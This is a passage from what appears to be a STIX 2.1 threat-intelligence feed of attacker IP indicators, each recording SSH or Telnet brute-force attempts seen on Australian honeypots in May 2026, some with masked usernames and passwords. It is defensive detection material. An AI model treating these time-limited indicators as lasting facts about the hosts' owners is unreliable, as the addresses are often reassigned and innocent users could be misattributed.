      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2755. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, u**r, u****u, a***n, u***1. Passwords observed (masked): 1****6, ***, p******d, 1**4, 1***5.",
      "id": "indicator--cc49d170-a491-4072-99dd-d061ce07c4d2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.156.87.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T21:15:10.000Z",
      "valid_until": "2026-06-05T21:15:08.000Z"
    },
    {
      "created": "2026-05-04T21:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--e211200b-0779-4052-970c-13d9fec44168",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.62.162.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T21:15:10.000Z",
      "valid_until": "2026-06-05T21:15:08.000Z"
    },
    {
      "created": "2026-05-04T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 46475. Organisation(s): Limestone Networks, Inc..",
      "id": "indicator--18d1ac8c-416f-4b37-9c4c-b52f1de8024c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.31.53.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T21:15:10.000Z",
      "valid_until": "2026-06-05T21:15:08.000Z"
    },
    {
      "created": "2026-05-04T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8560. Organisation(s): IONOS SE.",
      "id": "indicator--92bc2128-d344-4ab9-8294-0cd2a83a0f9a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '74.208.91.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T21:15:10.000Z",
      "valid_until": "2026-06-05T21:15:08.000Z"
    },
    {
      "created": "2026-05-04T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 62390. Organisation(s): NexonHost Srl.",
      "id": "indicator--14f549d3-2dd3-457b-bc9f-50b8182b241f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.45.12.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T21:15:10.000Z",
      "valid_until": "2026-06-05T21:15:08.000Z"
    },
    {
      "created": "2026-05-04T21:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--98709cda-12e3-4443-94ce-1cce7c75c3fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T21:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.216.37.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T21:15:10.000Z",
      "valid_until": "2026-06-05T21:15:08.000Z"
    },
    {
      "created": "2026-05-04T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 54. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17816. Organisation(s): China Unicom IP network China169 Guangdong province.",
      "id": "indicator--e852ef27-f007-4384-955f-e4d3dccefccc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.93.203.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T23:15:10.000Z",
      "valid_until": "2026-06-05T23:15:08.000Z"
    },
    {
      "created": "2026-05-04T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--ac3b4f11-49ed-4e0e-9442-15dd8db2726f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.1.104.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T23:15:10.000Z",
      "valid_until": "2026-06-05T23:15:08.000Z"
    },
    {
      "created": "2026-05-04T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, t**t, u****u. Passwords observed (masked): 1********6, p******d, t******#.",
      "id": "indicator--30445292-ec72-420f-be63-bc056e62a356",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '150.5.169.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T23:15:10.000Z",
      "valid_until": "2026-06-05T23:15:08.000Z"
    },
    {
      "created": "2026-05-04T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17816. Organisation(s): China Unicom IP network China169 Guangdong province.",
      "id": "indicator--100090a9-f2c3-4aaa-8b9d-c539150851ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.156.245.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T23:15:10.000Z",
      "valid_until": "2026-06-05T23:15:08.000Z"
    },
    {
      "created": "2026-05-04T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 151000. Organisation(s): PT Awan Data Indonesia. Usernames observed (masked): r**t, u****u, 3**********4, a***********r. Passwords observed (masked): !**********c, ***, 3**********4, a****n, o******1.",
      "id": "indicator--80202e9d-f3a9-46b0-9e0f-864d7cc58910",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.20.254.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T23:15:10.000Z",
      "valid_until": "2026-06-05T23:15:08.000Z"
    },
    {
      "created": "2026-05-04T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--f3f214cd-9eb4-4699-b85f-25939df7c944",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.58.137.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T23:15:10.000Z",
      "valid_until": "2026-06-05T23:15:08.000Z"
    },
    {
      "created": "2026-05-04T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 78. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): a***n, u****u, d****y, d****s, i*****n. Passwords observed (masked): *, 1****6, 1********t, 9********0, W********3.",
      "id": "indicator--0da08442-5b61-4d67-a6b8-774ec7585948",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.138.213.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T23:15:10.000Z",
      "valid_until": "2026-06-05T23:15:08.000Z"
    },
    {
      "created": "2026-05-04T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 9009. Organisation(s): M247 Europe SRL.",
      "id": "indicator--c87f7a08-7828-4bf0-ac96-beed8a5b02d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.255.100.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T23:15:10.000Z",
      "valid_until": "2026-06-05T23:15:08.000Z"
    },
    {
      "created": "2026-05-04T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 562. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 27323. Organisation(s): Wowrack.com.",
      "id": "indicator--d793f6ea-ab30-4f54-902b-c4555dcc18b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.124.18.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T23:15:10.000Z",
      "valid_until": "2026-06-05T23:15:08.000Z"
    },
    {
      "created": "2026-05-04T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 74. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17816. Organisation(s): China Unicom IP network China169 Guangdong province.",
      "id": "indicator--a1ed7e72-fa6b-4871-bc03-74d5d14da009",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.37.114.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T23:15:10.000Z",
      "valid_until": "2026-06-05T23:15:08.000Z"
    },
    {
      "created": "2026-05-04T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 267160. Organisation(s): JARDIMNET SERVICOS DE INFORMATICA E REDES.",
      "id": "indicator--d2500b75-97c8-4425-922c-c5dd7ffe3a86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.230.98.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T23:15:10.000Z",
      "valid_until": "2026-06-05T23:15:08.000Z"
    },
    {
      "created": "2026-05-04T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IE. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): u****u. Passwords observed (masked): 9******9.",
      "id": "indicator--37e2fcd3-ca2f-4191-b704-0ed2fcc2fc44",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '52.169.217.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T23:15:10.000Z",
      "valid_until": "2026-06-05T23:15:08.000Z"
    },
    {
      "created": "2026-05-04T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): t**t. Passwords observed (masked): a*******8.",
      "id": "indicator--d3f11c1e-6386-431f-ab4d-d854b3d35fc8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '68.183.34.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T23:15:10.000Z",
      "valid_until": "2026-06-05T23:15:08.000Z"
    },
    {
      "created": "2026-05-04T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--d3badb96-b47a-42cd-977d-53ff70b7b28d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.255.59.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T23:15:10.000Z",
      "valid_until": "2026-06-05T23:15:08.000Z"
    },
    {
      "created": "2026-05-05T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--e451743b-7bb3-42df-a19b-e6b277b52969",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.173.41.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:15:05.000Z",
      "valid_until": "2026-06-06T00:15:03.000Z"
    },
    {
      "created": "2026-05-05T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 292. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 4760. Organisation(s): HKT Limited. Usernames observed (masked): u****u, a***n, p******s, r**t, t**t. Passwords observed (masked): 3***********4, 3**********4, 1******4, 1**********6, 1****3.",
      "id": "indicator--6319fb0f-f565-4059-a00b-a016bf7a9178",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.120.171.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:15:05.000Z",
      "valid_until": "2026-06-06T00:15:03.000Z"
    },
    {
      "created": "2026-05-05T00:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 23969. Organisation(s): TOT Public Company Limited.",
      "id": "indicator--c9c6609c-e6aa-4b27-87ab-435426fb36e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.25.236.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:15:05.000Z",
      "valid_until": "2026-06-06T00:15:03.000Z"
    },
    {
      "created": "2026-05-05T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION.",
      "id": "indicator--47a2a900-4aa9-4160-8ecf-0b691fab1a24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '148.135.122.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:15:05.000Z",
      "valid_until": "2026-06-06T00:15:03.000Z"
    },
    {
      "created": "2026-05-05T00:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 271855. Organisation(s): MANGO NETWORK, C. A. MANGONET, C. A.",
      "id": "indicator--c033b5b0-e382-46a2-ab47-858d71bda3bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.191.225.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:15:05.000Z",
      "valid_until": "2026-06-06T00:15:03.000Z"
    },
    {
      "created": "2026-05-05T00:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 215778. Organisation(s): Alpha Strike Labs GmbH.",
      "id": "indicator--ee66beec-8eee-4185-8192-8192c10656a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.187.178.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:15:05.000Z",
      "valid_until": "2026-06-06T00:15:03.000Z"
    },
    {
      "created": "2026-05-05T00:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 270677. Organisation(s): TEK TELECOM LTDA.",
      "id": "indicator--75622118-4705-4796-ba9d-4d9143f83031",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '200.6.81.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:15:05.000Z",
      "valid_until": "2026-06-06T00:15:03.000Z"
    },
    {
      "created": "2026-05-05T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 397373. Organisation(s): H4Y Technologies LLC.",
      "id": "indicator--e8db8974-7502-49c3-a7fa-6ab20a82f4b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '204.77.9.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:15:05.000Z",
      "valid_until": "2026-06-06T00:15:03.000Z"
    },
    {
      "created": "2026-05-05T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 23470. Organisation(s): ReliableSite.Net LLC.",
      "id": "indicator--0b12e67d-60d4-4340-bb36-38778341358d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.221.176.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:15:05.000Z",
      "valid_until": "2026-06-06T00:15:03.000Z"
    },
    {
      "created": "2026-05-05T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions.",
      "id": "indicator--187205d4-e326-479d-a27c-f6de5039bf2b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.141.57.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:15:05.000Z",
      "valid_until": "2026-06-06T00:15:03.000Z"
    },
    {
      "created": "2026-05-05T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BY. ASN(s): 42772. Organisation(s): Unitary enterprise A1. Usernames observed (masked): u****u, u**r, a***n, c********r, h****p. Passwords observed (masked): 1****1, 1***5, 1******8, 1*3@.com, 1******r.",
      "id": "indicator--db59525d-657a-4a7f-92f5-4c6aa847a55b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.184.248.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:15:05.000Z",
      "valid_until": "2026-06-06T00:15:03.000Z"
    },
    {
      "created": "2026-05-05T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--7d783812-2bdb-4db1-bc09-2d26d64c00e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '216.252.238.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:15:05.000Z",
      "valid_until": "2026-06-06T00:15:03.000Z"
    },
    {
      "created": "2026-05-05T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, r********6.",
      "id": "indicator--52daa0c2-f855-4000-8b2c-fa93d1ce6c22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.73.51.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:15:05.000Z",
      "valid_until": "2026-06-06T00:15:03.000Z"
    },
    {
      "created": "2026-05-05T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 322. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): u****u, a***n, r**t, p******s, t**t. Passwords observed (masked): 1****3, 3***********4, 3**********4, 1******4, 1**********6.",
      "id": "indicator--d275096a-5ee7-4450-a38d-7b9c03af3f8d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.124.213.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:15:05.000Z",
      "valid_until": "2026-06-06T00:15:03.000Z"
    },
    {
      "created": "2026-05-05T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 29182. Organisation(s): JSC IOT.",
      "id": "indicator--08d8aacf-d1f8-498f-ac9e-d2ec2328342e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T00:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.230.113.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-05T00:15:05.000Z",
      "valid_until": "2026-06-06T00:15:03.000Z"
    },
    {
      "created": "2026-05-05T00:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--50acee29-ac7f-49da-9ee7-f396c8c8f0b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-05T00:15:05.000Z",
